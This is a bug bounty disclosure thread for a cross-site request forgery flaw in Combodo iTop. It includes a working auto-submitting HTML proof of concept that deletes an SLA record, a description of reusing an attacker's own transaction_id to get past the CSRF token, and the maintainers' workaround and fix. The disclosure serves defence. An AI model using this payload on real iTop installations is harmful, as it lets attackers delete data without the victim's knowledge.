Cross-Site Request Forgery (CSRF) in combodo/itop
Reported on
Aug 29th 2021
✍️ Description
Attacker able to delete Standard SLA with CSRF attack.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.
Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.
🕵️♂️ Proof of Concept
1.First of all admin or user with right privileges already should be logged in Firefox or Safari.
2.Open the PoC.html (it is auto-submit).
3.Here Standard SLA will be deleted after the PoC.html file opened.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/web/pages/UI.php?operation=delete&class=SLA&id=1&c[menu]=SLA" method="POST">
<input type="hidden" name="transaction_id" value="admE469.tmp" />
<input type="hidden" name="operation" value="bulk_delete_confirmed" />
<input type="hidden" name="filter" value="%5B%22SELECT+%60SLA%60+FROM+SLA+AS+%60SLA%60+WHERE+%28%60SLA%60.%60id%60+IN+%28%271%27%29%29%22%2C%5B%5D%2C%5B%5D%5D" />
<input type="hidden" name="class" value="SLA" />
<input type="hidden" name="selectObject[]" value="1" />
<input type="hidden" name="c[menu]" value="SLA" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )
💥 Impact
This vulnerability is capable of make high damage on availability and integrity of system.
Fix
You should set a CSRF token for each form. 📍 Location index.php#L1
Please see response from maintainer:
We are not able to reproduce this vulnerability with our latest version in Git.
Could you check or describe exactly which iTop version was used.
Regards
@admin
I apologize to you dear maintainer I forgot to say that this attack only work on Firefox or Safari.
The report corrected now.
Best regards.
See maintainer response:
I’m still not able to reproduce with the following version
iTop version 2.7.5-1-7770 MariaDB 10.4.19 PHP 7.0.33 Apache 2.4.25 Debian 9.13 Firefox 91.0.2(64 bits)
In the log I can see
UI.php 'bulk_delete_confirmed' : invalid transaction_id ! data: user
We need the detailled configuration of the researcher to reproduce and may be a video to proove this vulnerability.
I'm so sorry about my mistake, I figure out that transaction_id is CSRF token but with a very short length that cause to I think there wasn't any CSRF protection.
I find out a method for bypass transaction_id that act as a CSRF token.
- First a user ( here attacker ) go to own account and copy own transaction_id and should not use it anywhere.
user's transaction_id are like following : tes3A79.tmp
2.attacker make put the transaction_id to own payload and send it to admin( also these procedure can be done automatically)
I can sure you that I test it multiple time and I apologize to you again.
My payload was correct for me because transaction_id in my server is valid and I miss it to check.
Hello,
The vulnerability is caused by a flaw in the privUITransactionFile file (application/transaction.class.inc.php)
A workaround is to use the other implementation based on PHP session : \privUITransactionSession. To do this, set in the iTop configuration :
'transaction_storage' => 'Session',
But be warned that this is causing issues when for example submiting a form whil the session was ended due to inactivity timeout. Also, we found issues when using memcached as the php session implementation.
A fix is under development.
Please validate these reports that related to other endpoints :
https://huntr.dev/bounties/ddadbc04-5975-4449-9b91-26ef2da010bb/ https://huntr.dev/bounties/d1e51e1f-8533-4030-a372-0b7969e91f37/ https://huntr.dev/bounties/cd9dd8b3-a7ea-4f67-b61a-bd4f4162e6c5/ https://huntr.dev/bounties/7bbb603b-188a-41d3-a630-9e9f918b1df6/
Fix was submited to the support/2.6 branch (7757f1f2) and merged on support/2.7 and develop.
Please validate these reports that related to other endpoints :
I'll have a look
Side note : not confirming the fix for now. We won't set this advisory public before 2 monthes after next release shipping (2.7.6 should be out in december)
@amammad seems to me all 4 reports are duplicate of this one ? The vulnerability is about transaction_id (CSRF tokens) not been locked by user when using the File implementation. Can be exploited for any operations in iTop of course, as they are all protected by this token.
really I don't know and you know better that me
If you validate other reports Huntr will publish 5 CVE instead of only 1 CVE and Also I get 5x bounty instead of 1x
It is on your choice
Hello, Ok. I'm on holiday right now, will close other reports next week. In the meantime, feedback on the fix would be greatly appreciated O:)
Hello, We will create a GitHub advisory + CVE for this vulnerability. We would like to credit you @amammad ! Should we use your pseudo or something else ? (real name, company, ...)
Thanks Pierre, the @amammad is enough for me.
Best regrads.
Corresponding GitHub advisory : https://github.com/Combodo/iTop/security/advisories/GHSA-33pr-5776-9jqf
Fix is included in iTop 2.7.6 that was published a few minutes ago.
We will publish the vulnerabililty in 3 months.
Hi, Combodo usually send goodies for its contributors, as a way to thank them. @amammad can you send your postal address to pierre.goiffon @ combodo.com (remove spaces around the @)?